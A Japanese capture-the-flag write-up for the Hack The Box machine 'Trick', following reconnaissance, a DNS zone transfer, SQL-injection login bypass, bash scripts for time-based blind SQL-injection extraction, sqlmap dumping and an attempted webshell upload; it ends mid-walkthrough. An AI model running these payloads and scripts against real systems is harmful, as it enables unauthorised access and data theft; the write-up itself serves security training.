HTB: Trick Writeup

Hack The Box: Trickのwriteup。

てんでダメダメだった。ヒントを複数見て初期侵入に成功。権限昇格は自力で達成できた。

以下はnmapのスキャン結果。

└─$ nmap -Pn -A $RHOST -oG general-portscan.txt

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-14 09:07 EDT
Nmap scan report for 10.129.227.180
Host is up (0.60s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 61:ff:29:3b:36:bd:9d:ac:fb:de:1f:56:88:4c:ae:2d (RSA)
|   256 9e:cd:f2:40:61:96:ea:21:a6:ce:26:02:af:75:9a:78 (ECDSA)
|_  256 72:93:f9:11:58:de:34:ad:12:b5:4b:4a:73:64:b9:70 (ED25519)
25/tcp open  smtp?
|_smtp-commands: Couldn't establish connection on port 25
53/tcp open  domain  ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux)
| dns-nsid: 
|_  bind.version: 9.11.5-P4-5.1+deb10u7-Debian
80/tcp open  http    nginx 1.14.2
|_http-title: Coming Soon - Start Bootstrap Theme
|_http-server-header: nginx/1.14.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 328.06 seconds
  • 22番ポートでSSHが起動中
  • 25番ポートでSMTPが起動中っぽい?
  • 53番ポートでDNSサーバーのBindが起動中
  • 80番ポートでWebサーバーのNginxが起動中

標的IPにブラウザでアクセスしたところ、以下の工事中(死語?)のWebサイトが表示された。

gobusterなどでWebサイトを調べてみたが、工事中なだけあり、特に見るべきものはなさそうだった。

次に25番ポート(SMTP)を調べてみた。

netcatでポートへ接続できた。

└─$ nc $RHOST 25
220 debian.localdomain ESMTP Postfix (Debian/GNU)
VRFY root
252 2.0.0 root
EXPN root
502 5.5.2 Error: command not recognized
EHELO
502 5.5.2 Error: command not recognized
HELO
501 Syntax: HELO hostname
HELO localhost
250 debian.localdomain
AUTH
VRFY fugafuga
550 5.1.1 <fugafuga>: Recipient address rejected: User unknown in local recipient table

しかし、せいぜい分かったのは、rootユーザーが存在するという程度のことだった。

次に53番ポート (DNS)を調べてみた。

gobusterやnmapでスキャンしてみたが、特に目ぼしい発見は無かった。

※以下のgobusterコマンドはサブドメインの列挙を試みているが、ドメインではなくIPを指定しているため、多分無意味。

└─$ gobuster dns -d $RHOST -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Domain:     10.129.227.180
[+] Threads:    10
[+] Timeout:    1s
[+] Wordlist:   /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
===============================================================
Starting gobuster in DNS enumeration mode
===============================================================
Progress: 4989 / 4990 (99.98%)
===============================================================
Finished
===============================================================
└─$ nmap -Pn --script dns-* -p 53 $RHOST -oG dns-scan.txt
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-14 10:21 EDT
Nmap scan report for 10.129.227.180
Host is up (0.24s latency).

PORT   STATE SERVICE
53/tcp open  domain
|_dns-fuzz: Server didn't response to our probe, can't fuzz
|_dns-nsec-enum: Can't determine domain for host 10.129.227.180; use dns-nsec-enum.domains script arg.
| dns-nsid: 
|_  bind.version: 9.11.5-P4-5.1+deb10u7-Debian
|_dns-nsec3-enum: Can't determine domain for host 10.129.227.180; use dns-nsec3-enum.domains script arg.

Host script results:
|_dns-brute: Can't guess domain of "10.129.227.180"; use dns-brute.domain script argument.
| dns-blacklist: 
|   SPAM
|_    l2.apews.org - FAIL

Nmap done: 1 IP address (1 host up) scanned in 11.25 seconds

ダメもとでSSHのブルートフォースも試してみたが、無駄だった。

ほかにもsearchsploitで使えそうなSMTP、Bind、Nginxの脆弱性がないか調べてみたが、該当なし。

初期侵入のとっかかりさえ掴めなかったので、ヒントを見てみた。以下、ヒント。

Technology

DNS

Vulnerabilities

Zone Transfer

なるほど、DNSゾーン転送。存在は知っていたが、今まで試してみたことはなかった。

DNSゾーン転送にはドメイン名が不可欠である。これまでの列挙で標的マシンのドメイン名は明らかになっていないが、HTBで使用されるドメインは大体、<サーバー名>.htbのパターンなので、決め打ちでtrick.htbのゾーン転送リクエストを送ってみた。

└─$ dig axfr @$RHOST trick.htb

; <<>> DiG 9.19.19-1-Debian <<>> axfr @10.129.227.180 trick.htb
; (1 server found)
;; global options: +cmd
trick.htb.              604800  IN      SOA     trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
trick.htb.              604800  IN      NS      trick.htb.
trick.htb.              604800  IN      A       127.0.0.1
trick.htb.              604800  IN      AAAA    ::1
preprod-payroll.trick.htb. 604800 IN    CNAME   trick.htb.
trick.htb.              604800  IN      SOA     trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
;; Query time: 848 msec
;; SERVER: 10.129.227.180#53(10.129.227.180) (TCP)
;; WHEN: Mon Mar 17 09:31:46 EDT 2025
;; XFR size: 6 records (messages 1, bytes 231)

新たにroot.trick.htbpreprod-payroll.trick.htbというドメイン名が判明した。(root.trick.htbはDNSゾーンの管理者のメールアドレス)

さっそく、/etc/hostsに以下のエントリーを追加。

10.129.227.180  preprod-payroll.trick.htb 
10.129.227.180  trick.htb

上記のうち、trick.htbroot.trick.htbは先述した工事中のWebサイトをホストしていた。

preprod-payroll.trick.htbには以下のページがホストされていた。

Employee's Payroll Management Systemというアプリケーションのログイン画面だった。

アプリケーション名をsearchsploitで調べてみると、なにやらSQLインジェクションによる認証回避の脆弱性がある模様。

└─$ searchsploit payroll                               
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                                                   |  Path
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Attendance and Payroll System v1.0 - Remote Code Execution (RCE)                                                                                                                 | php/webapps/50801.py
Attendance and Payroll System v1.0 - SQLi Authentication Bypass                                                                                                                  | php/webapps/50802.py
BDSMIS TraX with Payroll - SQL Injection                                                                                                                                         | asp/webapps/13846.txt
Enterprise Payroll Systems 1.1 - 'footer' Remote File Inclusion                                                                                                                  | php/webapps/1891.txt
Kwik Pay Payroll 4.10.3 - '.mdb' Crash (PoC)                                                                                                                                     | windows/dos/12000.pl
Kwik Pay Payroll 4.10.3 - '.zip' Denial of Service                                                                                                                               | windows/dos/12001.pl
Simple Payroll System 1.0 - SQLi Authentication Bypass                                                                                                                           | php/webapps/50403.txt
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

以下はPoC。

└─$ cat 50403.txt                                                                                                                        
# Exploit Title: Simple Payroll System 1.0 - SQLi Authentication Bypass
# Date: 2021-10-09
# Exploit Author: Yash Mahajan
# Vendor Homepage: https://www.sourcecodester.com/php/14974/simple-payroll-system-dynamic-tax-bracket-php-using-sqlite-free-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/simple_payroll_0.zip
# Version: 1.0
# Tested on: Windows 10
# Description: Simple Payroll System v1.0 Login page can be bypassed with a SQLi into the username parameter.

Steps To Reproduce:

1 - Navigate to http://localhost/simple_payroll/admin/login.php
2 - Enter the payload into the username field as "' or 1=1-- " without double-quotes and type anything into the password field.
3 - Click on "Login" button and you are logged in as administrator.

Proof Of Concept:

POST /simple_payroll/Actions.php?a=login HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 37
Origin: http://localhost
Connection: close
Referer: http://localhost/simple_payroll/admin/login.php
Cookie: PHPSESSID=ijad04l4pfb2oec6u2vmi4ll9p
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

username='+or+1%3D1--+&password=admin

usernameフィールドがSQLインジェクションに対して脆弱らしい。

PoCを参考に入力値を何度かいじったところ、username=' or 1=1 #で管理画面にログインできた。(#はMySQLのコメント文字なので、使用しているDBアプリケーションはMySQLと推察できる)

以下は、管理画面の様子。

画面左のUsersパネルからEnemigosssというユーザー名とSuperGucciRainbowCakeというパスワードを発見。

GET /manage_user.php?id=1 HTTP/1.1
Host: preprod-payroll.trick.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Referer: http://preprod-payroll.trick.htb/index.php?page=users
Cookie: PHPSESSID=v472migavnubsnj8lqbiauck2h

HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Mon, 17 Mar 2025 14:06:03 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Content-Encoding: gzip

<div class="container-fluid">
	
	<form action="" id="manage-user">
		<input type="hidden" name="id" value="1">
		<div class="form-group">
			<label for="name">Name</label>
			<input type="text" name="name" id="name" class="form-control" value="Administrator" required>
		</div>
		<div class="form-group">
			<label for="username">Username</label>
			<input type="text" name="username" id="username" class="form-control" value="Enemigosss" required>
		</div>
		<div class="form-group">
			<label for="password">Password</label>
			<input type="password" name="password" id="password" class="form-control" value="SuperGucciRainbowCake" required>
		</div>
		<div class="form-group">
			<label for="type">User Type</label>
			<select name="type" id="type" class="custom-select">
				<option value="1" selected>Admin</option>
				<option value="2" >Staff</option>
			</select>
		</div>
	</form>
</div>
<script>
	$('#manage-user').submit(function(e){
		e.preventDefault();
		start_load()
		$.ajax({
			url:'ajax.php?action=save_user',
			method:'POST',
			data:$(this).serialize(),
			success:function(resp){
				if(resp ==1){
					alert_toast("Data successfully saved",'success')
					setTimeout(function(){
						location.reload()
					},1500)
				}
			}
		})
	})
</script>

Enemigosss:SuperGucciRainbowCakeで標的マシンへSSH接続できるか試してみたが、駄目だった。

もう少し、管理画面や背後にあるデータベースを調べる必要がありそう。

sqlmapを使えば手っ取り早いだろうが、SQLインジェクションの苦手意識を克服するためにも、自前でクエリを作ってみることにした。

以下のTime-based SQLインジェクションのクエリを送ってみた。

username=' or SLEEP(10)#

curl -i http://preprod-payroll.trick.htb/ajax.php?action=login -d "username=' or SLEEP(10)#" -d "password=hoge"

上記のSQLインジェクションはデータベースに対して、10秒間のスリープ命令を送る。

結果は真 (10秒後にサーバーから応答があった)だった。つまりTime-based SQLインジェクションを活用してデータを窃取することが可能ということである。

下記のクエリはデータベース名が何文字かを確認する。結果、データベース名は10文字と判明。

username=' or (SELECT SLEEP(10) FROM DUAL WHERE length(DATABASE()) = 10)#

curl -i http://preprod-payroll.trick.htb/ajax.php?action=login -d "username=' or (SELECT SLEEP(10) FROM DUAL WHERE length(DATABASE()) = 10)#" -d "password=hoge"

次はデータベース名の確認である。
下記のクエリはデータベース名の1文字目が!と等しいか確認する。結果は偽だった。(ちなみにDUALテーブルというのはMySQLに用意されているダミーのテーブル)

username=' or (SELECT SLEEP(10) FROM DUAL WHERE where substr(binary database(),1,1) = char(33))#

curl -i http://preprod-payroll.trick.htb/ajax.php?action=login -d "username=' or (SELECT SLEEP(10) FROM DUAL WHERE where substr(binary database(),1,1) = char(33))#" -d "password=hoge"

手動で総当たりするのは大変なので、以下のスクリプトを書いて実行した。

#!/usr/bin/bash

URL="http://preprod-payroll.trick.htb/ajax.php?action=login"
offset=1
mychar=32
sleeptime=5
dbname=''
length=10

while [ $(echo -n $dbname | wc -c) -ne $length ] 
do
        #echo "comparing with $(echo $mychar | awk '{printf("%c",$1)}')"
        date1=$(date '+%s')
        # binary statement required for case sensitive comparison
        curl -s $URL -d "username=' or (select sleep($sleeptime) from dual where substr(binary database(),$offset,1) = char($mychar))#" -d "password=hoge" > /dev/null 2>&1
        date2=$(date '+%s')
        if [ $(($date2-$date1)) -ge $sleeptime ]; then
                myascii=$(echo $mychar | awk '{printf("%c",$1)}') # convert char code to ascii
                dbname=$dbname$myascii # append identified char to dbname
                echo $dbname

                offset=$(($offset + 1))
                mychar=33
        else
                mychar=$(($mychar + 1))


        fi
done
└─$ ./timebase-SQLi_dump_dbname.sh
p
pa
pay
payr
payro
payrol
payroll
payroll_
payroll_d
payroll_db

上記よりデータベース名はpayroll_dbと判明。

下記のクエリはMySQLコネクションのユーザー名とホスト名 (<username>@<hostname>)が何文字かを確認する。結果、14文字と判明。

username=' or (SELECT SLEEP(10) FROM DUAL WHERE length(USER()) = 14)#

curl -i http://preprod-payroll.trick.htb/ajax.php?action=login -d "username=' or (SELECT SLEEP(10) FROM DUAL WHERE length(USER()) = 14)#" -d "password=hoge"

下記のクエリはMySQLコネクションのユーザー名とホスト名の1文字目が!と等しいか確認する。結果は偽だった。

username=' or (SELECT SLEEP(10) FROM DUAL WHERE where substr(binary user(),1,1) = char(33))#

curl -i http://preprod-payroll.trick.htb/ajax.php?action=login -d "username=' or (SELECT SLEEP(10) FROM DUAL WHERE where substr(binary user(),1,1) = char(33))#" -d "password=hoge"

以降のクエリは以下のようにスクリプト化して実行。

#!/usr/bin/bash

URL="http://preprod-payroll.trick.htb/ajax.php?action=login"
offset=1
mychar=32
sleeptime=5
name=''
length=14

while [ $(echo -n $name | wc -c) -ne $length ] 
do
        #echo "comparing with $(echo $mychar | awk '{printf("%c",$1)}')"
        date1=$(date '+%s')
        # binary statement required for case sensitive comparison
        curl -s $URL -d "username=' or (select sleep($sleeptime) from dual where substr(binary user(),$offset,1) = char($mychar))#" -d "password=hoge" > /dev/null 2>&1
        date2=$(date '+%s')
        if [ $(($date2-$date1)) -ge $sleeptime ]; then
                myascii=$(echo $mychar | awk '{printf("%c",$1)}') # convert char code to ascii
                name=$name$myascii # append identified char to name
                echo $name

                offset=$(($offset + 1))
                mychar=33
        else
                mychar=$(($mychar + 1))


        fi
done
└─$ ./timebase-SQLi_dump_username_hostname.sh            
r
re
rem
remo
remo@
remo@l
remo@lo
remo@loc
remo@loca
remo@local
remo@localh
remo@localho
remo@localhos
remo@localhost

上記よりMySQLコネクションのユーザー名とホスト名はremo@localhostと判明。

下記のクエリはMySQLのバージョン名が何文字かを確認する。結果、25文字と判明。

username=' or (SELECT SLEEP(10) FROM DUAL WHERE length(VERSION()) = 25)#

curl -i http://preprod-payroll.trick.htb/ajax.php?action=login -d "username=' or (SELECT SLEEP(10) FROM DUAL WHERE length(VERSION()) = 25)#" -d "password=hoge"

下記のクエリはMySQLのバージョン名の1文字目が!と等しいか確認する。結果は偽だった。

username=' or (select sleep(10) from dual where substr(binary version(),1,1) = char(33))#

curl -s $URL -d "username=' or (select sleep(10) from dual where substr(binary version(),1,1) = char(33))#" -d "password=hoge"

以降のクエリは以下のようにスクリプト化して実行。

#!/usr/bin/bash

URL="http://preprod-payroll.trick.htb/ajax.php?action=login"
offset=1
mychar=32
sleeptime=5
name=''
length=25

while [ $(echo -n $name | wc -c) -ne $length ] 
do
        #echo "comparing with $(echo $mychar | awk '{printf("%c",$1)}')"
        date1=$(date '+%s')
        # binary statement required for case sensitive comparison
        curl -s $URL -d "username=' or (select sleep($sleeptime) from dual where substr(binary version(),$offset,1) = char($mychar))#" -d "password=hoge" > /dev/null 2>&1
        date2=$(date '+%s')
        if [ $(($date2-$date1)) -ge $sleeptime ]; then
                myascii=$(echo $mychar | awk '{printf("%c",$1)}') # convert char code to ascii
                name=$name$myascii # append identified char to name
                echo $name

                offset=$(($offset + 1))
                mychar=33
        else
                mychar=$(($mychar + 1))


        fi
done
└─$ ./timebase-SQLi_dump_version.sh
1
10
10.
10.3
10.3.
10.3.3
10.3.34
10.3.34-
10.3.34-M
10.3.34-Ma
10.3.34-Mar
10.3.34-Mari
10.3.34-Maria
10.3.34-MariaD
10.3.34-MariaDB
10.3.34-MariaDB-
10.3.34-MariaDB-0
10.3.34-MariaDB-0+
10.3.34-MariaDB-0+d
10.3.34-MariaDB-0+de
10.3.34-MariaDB-0+deb
10.3.34-MariaDB-0+deb1
10.3.34-MariaDB-0+deb10
10.3.34-MariaDB-0+deb10u
10.3.34-MariaDB-0+deb10u1

上記よりバージョン名は10.3.34-MariaDB-0+deb10u1と判明。

続いて、テーブルの列挙である。

管理画面の左にはAttendance, Payroll List, Employee List, Department List, Position List, Allowance List, Deduction List, Usersというメニューがあり、以下が対応するURLである。

http://preprod-payroll.trick.htb/index.php?page=attendance
http://preprod-payroll.trick.htb/index.php?page=payroll
http://preprod-payroll.trick.htb/index.php?page=employee
http://preprod-payroll.trick.htb/index.php?page=department
http://preprod-payroll.trick.htb/index.php?page=position
http://preprod-payroll.trick.htb/index.php?page=allowances
http://preprod-payroll.trick.htb/index.php?page=deductions
http://preprod-payroll.trick.htb/index.php?page=users

また、Payroll ListのActionカラムより、目のアイコンをクリックしたところ、http://preprod-payroll.trick.htb/index.php?page=payroll_items&id=1というURLを発見。

/index.php?page=に続く値がテーブル名のように見える。試しに以下のクエリを送ったところ、結果はすべて真となった。

curl -i http://preprod-payroll.trick.htb/ajax.php?action=login -d "username=' or (SELECT SLEEP(10) FROM users WHERE (SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() AND table_name = 'attendance' LIMIT 0,1) LIKE '%')#" -d "password=hoge"

curl -i http://preprod-payroll.trick.htb/ajax.php?action=login -d "username=' or (SELECT SLEEP(10) FROM users WHERE (SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() AND table_name = 'payroll' LIMIT 0,1) LIKE '%')#" -d "password=hoge"

curl -i http://preprod-payroll.trick.htb/ajax.php?action=login -d "username=' or (SELECT SLEEP(10) FROM users WHERE (SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() AND table_name = 'employee' LIMIT 0,1) LIKE '%')#" -d "password=hoge"

curl -i http://preprod-payroll.trick.htb/ajax.php?action=login -d "username=' or (SELECT SLEEP(10) FROM users WHERE (SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() AND table_name = 'department' LIMIT 0,1) LIKE '%')#" -d "password=hoge"

curl -i http://preprod-payroll.trick.htb/ajax.php?action=login -d "username=' or (SELECT SLEEP(10) FROM users WHERE (SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() AND table_name = 'position' LIMIT 0,1) LIKE '%')#" -d "password=hoge"

curl -i http://preprod-payroll.trick.htb/ajax.php?action=login -d "username=' or (SELECT SLEEP(10) FROM users WHERE (SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() AND table_name = 'allowances' LIMIT 0,1) LIKE '%')#" -d "password=hoge"

curl -i http://preprod-payroll.trick.htb/ajax.php?action=login -d "username=' or (SELECT SLEEP(10) FROM users WHERE (SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() AND table_name = 'deductions' LIMIT 0,1) LIKE '%')#" -d "password=hoge"

curl -i http://preprod-payroll.trick.htb/ajax.php?action=login -d "username=' or (SELECT SLEEP(10) FROM users WHERE (SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() AND table_name = 'users' LIMIT 0,1) LIKE '%')#" -d "password=hoge"

curl -i http://preprod-payroll.trick.htb/ajax.php?action=login -d "username=' or (SELECT SLEEP(10) FROM users WHERE (SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() AND table_name = 'payroll_items' LIMIT 0,1) LIKE '%')#" -d "password=hoge"

つまりpayroll_dbデータベースには以下のテーブルが含まれているということである。

attendance
payroll
employee
department
position
allowances
deductions
users
payroll_items

上記以外に隠されたテーブルが無いか確認してみた。
下記のクエリは上記以外のテーブルの有無を確認する。

username=' or (SELECT SLEEP(10) FROM users WHERE (SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() AND table_name != 'payroll' AND table_name != 'attendance' AND table_name != 'payroll_items' AND table_name != 'employee' AND table_name != 'department' AND table_name != 'position' AND table_name != 'allowances' AND table_name != 'deductions' AND table_name != 'users' LIMIT 0,1) LIKE '%')#

curl -i http://preprod-payroll.trick.htb/ajax.php?action=login -d "username=' or (SELECT SLEEP(10) FROM users WHERE (SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() AND table_name != 'payroll' AND table_name != 'attendance' AND table_name != 'payroll_items' AND table_name != 'employee' AND table_name != 'department' AND table_name != 'position' AND table_name != 'allowances' AND table_name != 'deductions' AND table_name != 'users' LIMIT 0,1) LIKE '%')#" -d "password=hoge"

結果は真だった。つまり、ほかにもテーブルが存在するということである。

引き続きクエリを送ったところ、隠されたテーブル名の長さは19文字と判明。

username=' or (SELECT SLEEP(10) FROM users WHERE (SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() AND table_name != 'payroll' AND table_name != 'attendance' AND table_name != 'payroll_items' AND table_name != 'employee' AND table_name != 'department' AND table_name != 'position' AND table_name != 'allowances' AND table_name != 'deductions' AND table_name != 'users' AND length(table_name) = 19 LIMIT 0,1) LIKE '%')#

curl -i http://preprod-payroll.trick.htb/ajax.php?action=login -d "username=' or (SELECT SLEEP(10) FROM users WHERE (SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() AND table_name != 'payroll' AND table_name != 'attendance' AND table_name != 'payroll_items' AND table_name != 'employee' AND table_name != 'department' AND table_name != 'position' AND table_name != 'allowances' AND table_name != 'deductions' AND table_name != 'users' AND length(table_name) = 19 LIMIT 0,1) LIKE '%')#" -d "password=hoge"

以下のスクリプトを実行し、テーブル名をダンプしてみた。

#!/usr/bin/bash

URL="http://preprod-payroll.trick.htb/ajax.php?action=login"
offset=1
mychar=32
sleeptime=5
name=''
length=19

while [ $(echo -n $name | wc -c) -ne $length ] 
do
        echo "comparing with $(echo $mychar | awk '{printf("%c",$1)}')"
        date1=$(date '+%s')
        curl -i $URL -d "username=' or (SELECT SLEEP($sleeptime) FROM users WHERE (SELECT substr(binary table_name,$offset,1) FROM information_schema.tables WHERE table_schema=DATABASE() AND table_name != 'payroll' AND table_name != 'attendance' AND table_name != 'payroll_items' AND table_name != 'employee' AND table_name != 'department' AND table_name != 'position' AND table_name != 'allowances' AND table_name != 'deductions' AND table_name != 'users' LIMIT 1) = char($mychar))#" -d "password=hoge" > /dev/null 2>&1

        date2=$(date '+%s')
        if [ $(($date2-$date1)) -ge $sleeptime ]; then
                myascii=$(echo $mychar | awk '{printf("%c",$1)}') # convert char code to ascii
                name=$name$myascii # append identified char to name
                echo $name

                offset=$(($offset + 1))
                mychar=33
        else
                mychar=$(($mychar + 1))


        fi
done
└─$ ./timebase-SQLi_dump_tablename.sh
-- <snipped> --
comparing with p
comparing with q
comparing with r
comparing with s
employee_deductions

隠されたテーブル名はemployee_deductionsと判明。

下記のクエリを送って、ほかに隠されたテーブルが無いか確認してみた。

username=' or (SELECT SLEEP(10) FROM users WHERE (SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() AND table_name != 'payroll' AND table_name != 'attendance' AND table_name != 'payroll_items' AND table_name != 'employee' AND table_name != 'department' AND table_name != 'position' AND table_name != 'allowances' AND table_name != 'deductions' AND table_name != 'users' AND table_name != 'employee_deductions' LIMIT 0,1) LIKE '%')#

curl -i http://preprod-payroll.trick.htb/ajax.php?action=login -d "username=' or (SELECT SLEEP(10) FROM users WHERE (SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() AND table_name != 'payroll' AND table_name != 'attendance' AND table_name != 'payroll_items' AND table_name != 'employee' AND table_name != 'department' AND table_name != 'position' AND table_name != 'allowances' AND table_name != 'deductions' AND table_name != 'users' AND table_name != 'employee_deductions' LIMIT 0,1) LIKE '%')#" -d "password=hoge"

結果は真だった。つまり、まだほかにも隠されたテーブルがあるということである。

引き続きクエリを送ったところ、隠されたテーブル名の長さはまたしても19文字と判明。

username=' or (SELECT SLEEP(10) FROM users WHERE (SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() AND table_name != 'payroll' AND table_name != 'attendance' AND table_name != 'payroll_items' AND table_name != 'employee' AND table_name != 'department' AND table_name != 'position' AND table_name != 'allowances' AND table_name != 'deductions' AND table_name != 'users' AND table_name != 'employee_deductions' AND length(table_name) = 19 LIMIT 0,1) LIKE '%')#

curl -i http://preprod-payroll.trick.htb/ajax.php?action=login -d "username=' or (SELECT SLEEP(10) FROM users WHERE (SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() AND table_name != 'payroll' AND table_name != 'attendance' AND table_name != 'payroll_items' AND table_name != 'employee' AND table_name != 'department' AND table_name != 'position' AND table_name != 'allowances' AND table_name != 'deductions' AND table_name != 'users' AND table_name != 'employee_deductions' AND length(table_name) = 19 LIMIT 0,1) LIKE '%')#" -d "password=hoge"

以下のスクリプトを実行し、テーブル名をダンプしてみた。

#!/usr/bin/bash

URL="http://preprod-payroll.trick.htb/ajax.php?action=login"
offset=1
mychar=32
sleeptime=5
name=''
length=19

while [ $(echo -n $name | wc -c) -ne $length ] 
do
        echo "comparing with $(echo $mychar | awk '{printf("%c",$1)}')"
        date1=$(date '+%s')
        # binary statement required for case sensitive comparison
        curl -i $URL -d "username=' or (SELECT SLEEP($sleeptime) FROM users WHERE (SELECT substr(binary table_name,$offset,1) FROM information_schema.tables WHERE table_schema=DATABASE() AND table_name != 'payroll' AND table_name != 'attendance' AND table_name != 'payroll_items' AND table_name != 'employee' AND table_name != 'department' AND table_name != 'position' AND table_name != 'allowances' AND table_name != 'deductions' AND table_name != 'users' AND table_name != 'employee_deductions' LIMIT 1) = char($mychar))#" -d "password=hoge" > /dev/null 2>&1
        date2=$(date '+%s')
        if [ $(($date2-$date1)) -ge $sleeptime ]; then
                myascii=$(echo $mychar | awk '{printf("%c",$1)}') # convert char code to ascii
                name=$name$myascii # append identified char to name
                echo $name

                offset=$(($offset + 1))
                mychar=33
        else
                mychar=$(($mychar + 1))


        fi
done
└─$ ./timebase-SQLi_dump_tablename02.sh
-- <snipped> --
comparing with p
comparing with q
comparing with r
comparing with s
employee_allowances

隠されたテーブル名はemployee_allowancesと判明。

下記のクエリを送って、ほかに隠されたテーブルが無いか確認してみたが、結果は偽だった。

username=' or (SELECT SLEEP(10) FROM users WHERE (SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() AND table_name != 'payroll' AND table_name != 'attendance' AND table_name != 'payroll_items' AND table_name != 'employee' AND table_name != 'department' AND table_name != 'position' AND table_name != 'allowances' AND table_name != 'deductions' AND table_name != 'users' AND table_name != 'employee_deductions' AND table_name != 'employee_allowances' LIMIT 0,1) LIKE '%')#

curl -i http://preprod-payroll.trick.htb/ajax.php?action=login -d "username=' or (SELECT SLEEP(10) FROM users WHERE (SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() AND table_name != 'payroll' AND table_name != 'attendance' AND table_name != 'payroll_items' AND table_name != 'employee' AND table_name != 'department' AND table_name != 'position' AND table_name != 'allowances' AND table_name != 'deductions' AND table_name != 'users' AND table_name != 'employee_deductions' AND table_name != 'employee_allowances' LIMIT 0,1) LIKE '%')#" -d "password=hoge"

以下は判明したテーブル名の一覧である。

attendance
payroll
employee
department
position
allowances
deductions
users
payroll_items
employee_deductions
employee_allowances

テーブルは出そろったが、今度はこの中から使えそうな情報がないかを調べなければいけない。

下記のクエリはusersテーブルにEnemigosss以外のユーザーが存在するか確認する。結果は偽だった。つまりEnemigosss以外のユーザー情報は無しということである。

username=' or (select SLEEP(10) from users where username!='Enemigosss')#

curl -i http://preprod-payroll.trick.htb/ajax.php?action=login -d "username=' or (select SLEEP(10) from users where username!='Enemigosss')#" -d "password=hoge"

続いてusersテーブルにSuperGucciRainbowCake以外のパスワードが無いか確認してみたが、こちらも結果は偽だった。

username=' or (select SLEEP(10) from users where password!='SuperGucciRainbowCake')#

curl -i http://preprod-payroll.trick.htb/ajax.php?action=login -d "username=' or (select SLEEP(10) from users where password!='SuperGucciRainbowCake')#" -d "password=hoge"

users以外のテーブルにはユーザー名やパスワードなどの情報は無さそうだった。

ここまでに既に相当時間を費やしていたので、諦めてsqlmapに頼ることにした。

sqlmapでデータベースをダンプ。

sqlmap -r post.txt -p username --dump

しかし新情報は無し。

続いて、webshellのアップロードを試みた。
自前のSQLインジェクション・クエリを送る過程で、サーバーからのエラー情報より、ドキュメントルートは/var/www/payrollと判明していた。

└─$ curl -i http://preprod-payroll.trick.htb/ajax.php?action=login -d "username=' or (select SLEEP(10) from department where id!='3')#" -d "password=hoge"
HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Fri, 21 Mar 2025 14:14:31 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: PHPSESSID=5jk3j401dhf9aiqt1ohglsab1o; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache

<br />
<b>Warning</b>:  mysqli::query(): (21000/1242): Subquery returns more than 1 row in <b>/var/www/payroll/admin_class.php</b> on line <b>20</b><br />
<br />
<b>Notice</b>:  Trying to get property 'num_rows' of non-object in <b>/var/www/payroll/admin_class.php</b> on line <b>21</b><br />
3    

以下のコマンドで、/var/www/payrollへのwebshellのアップロードを試みた。

sqlmap -r post.txt -p username  --os-shell --web-root "/var/www/payroll"

しかし失敗した。DBアプリケーションの実行ユーザーにはドキュメントルートへの書き込み権限が無いのかもしれない。

またしても行き詰ったので、ヒントを見てみた。以下、ヒント。

Using sqlmap we find we have file privileges and can read system files. Reading an Nginx configuration file reveals another vHost.

どうやらNginxの設定ファイルから仮想ホストの情報が分かるらしい。

sqlmapで任意のファイルを読み出すには--file-readオプションを使用する。

